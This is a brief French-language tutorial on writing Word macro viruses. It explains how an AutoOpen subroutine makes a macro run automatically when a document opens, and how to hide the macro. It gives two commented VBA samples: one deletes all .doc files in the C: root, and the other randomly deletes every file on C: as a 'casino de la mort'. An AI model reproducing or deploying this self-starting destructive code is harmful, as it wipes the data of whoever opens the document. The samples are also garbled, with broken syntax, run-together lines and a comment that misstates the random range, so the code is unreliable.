Une macro est un mini programme intégré dans un document word. Ces programmes sont écris en Visual Basic et très simple a réaliser. Le pirate crée un nouveau document Word, l'enregistre et clique sur outils, macro, macro, ok? Tout d'abord, le programme doit contenir comme première ligne sub "AutoOpen " qui permettra de lancer le programme automatiquement au chargement du fichier word. Comme dernière ligne, il devra contenir "sub viewvbcode " puis directement "end " a la ligne suivante, c'est pour rendre la macro invisible. La programmation ressemble de loin à du Q-Basic avec des commandes qui diffèrent légèrement.

Voici un exemple de programme commente (les commentaires sont précède d'une " ' " ) :

sub autoOpen ()''macrovirus
'macro enregistree le 0/0/00 par tRaSH'
msgBox "voici une macro " 'affiche l'avertissement "voici une macro "
kill "c : \*. doc " 'detruit tous les fichiers doc present dans la racine
msgBox " systeme bloque ", SystemModal + vbOKCancel " 'affiche 'l'avertissement
" systeme bloque " et 'bloque tout le
systeme tant que l'on n'a 'pas clicke sur ok ou annuler
num = int(rnd * 10) 'tire un nombre au hazard compris entre 1 et 20
msgBox num 'affiche le nombre tire au hasardendOn peut faire mieux :
Sub autoOpen ()Num = int(rnd * 10)If num = 6 then kill "c : \*. * "
Else msgBox "tu as de la chance… "End

Ce programme est une sorte de casino de la mort, a ne surtout pas envoyer à des personnes non averties.